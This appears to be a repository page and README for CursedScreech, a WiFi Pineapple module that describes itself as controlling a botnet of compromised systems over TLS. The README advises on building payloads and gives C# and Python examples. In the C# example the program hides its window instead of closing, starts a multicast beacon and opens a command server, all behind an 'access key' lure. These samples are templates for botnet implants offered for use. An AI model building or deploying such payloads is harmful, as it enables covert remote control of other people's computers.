nano-tetra-modules/CursedScreech
Nick aa43cb5e23
PortalAuth, Papers, and CursedScreech Updates (#87)
* Version 1.9

* Version 2.0

* Version 1.6

* Updated Papers to v2.0

* Replaced readKeys.sh with cfgNginx.py

* Fixed PKCS12 export bug

Co-authored-by: combsn <combsn@usc.edu>
2020-07-19 21:24:52 +01:00
..
api PortalAuth, Papers, and CursedScreech Updates (#87) 2020-07-19 21:24:52 +01:00
includes PortalAuth, Papers, and CursedScreech Updates (#87) 2020-07-19 21:24:52 +01:00
js Updated PortalAuth to 1.6 & CursedScreech to 1.4 (#6) 2018-01-13 19:02:26 +10:00
README.md Update Portal Auth and Cursed Screech (#30) 2018-07-17 12:21:02 +10:00
module.html Papers, CursedScreech, and Portal Auth Updates (#5) 2018-01-09 10:11:40 +10:00
module.info PortalAuth, Papers, and CursedScreech Updates (#87) 2020-07-19 21:24:52 +01:00

README.md

CursedScreech

A mass communicator module for the WiFi Pineapple that utilizes TLS to control a botnet of compromised systems. Included is a C# API and Python API (with documentation) to write payloads that can communicate with CursedScreech and PortalAuth.

APIs

I recommend using C# over Python to build your payload. Both APIs are really simple to use but using C# will allow you to create a self-contained executable along with required keys/certificates. Writing your payload in Python will require you to freeze your code and it can be difficult, if not impossible, to include all required files in a single executable. If you can't make a single executable you will have to find a way to move the whole dist directory to the target machine.

C# API Example

using System;
using System.Drawing;
using System.Windows.Forms;
using PineappleModules;

namespace Payload
{
	public partial class Form1 : Form {
    
		PA_Authorization pauth = new PA_Authorization();
	
		public Form1() {
			InitializeComponent();
	
			CursedScreech cs = new CursedScreech();
			cs.startMulticaster("231.253.78.29", 19578);
			cs.setRemoteCertificateSerial("EF-BE-AD-DE");
			cs.setRemoteCertificateHash("1234567890ABCDEF");
			cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&");
		}
		private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
			e.Cancel = true;
			this.Hide();
		}
		private void accessKeyButton_Click(object sender, EventArgs e) {
				
			// Request an access key from the Pineapple
			string key = pauth.getAccessKey();
	
			// Check if a key was returned
			string msg;
			if (key.Length > 0) {
				msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
			}
			else {
				msg = "Failed to retrieve an access key from the server.  Please try again later.";
			}
			
			// Display message to the user
			MessageBox.Show(msg);
		}
	}
}

Python API Example

from PineappleModules import CursedScreech

cs = CursedScreech("Network Client")
cs.startMulticaster("231.253.78.29", 19578)
cs.setRemoteCertificateSerial("ABCDEF1234567890")
cs.startSecureServerThread("payload.pem", "payload.cer", "cursedscreech.cer")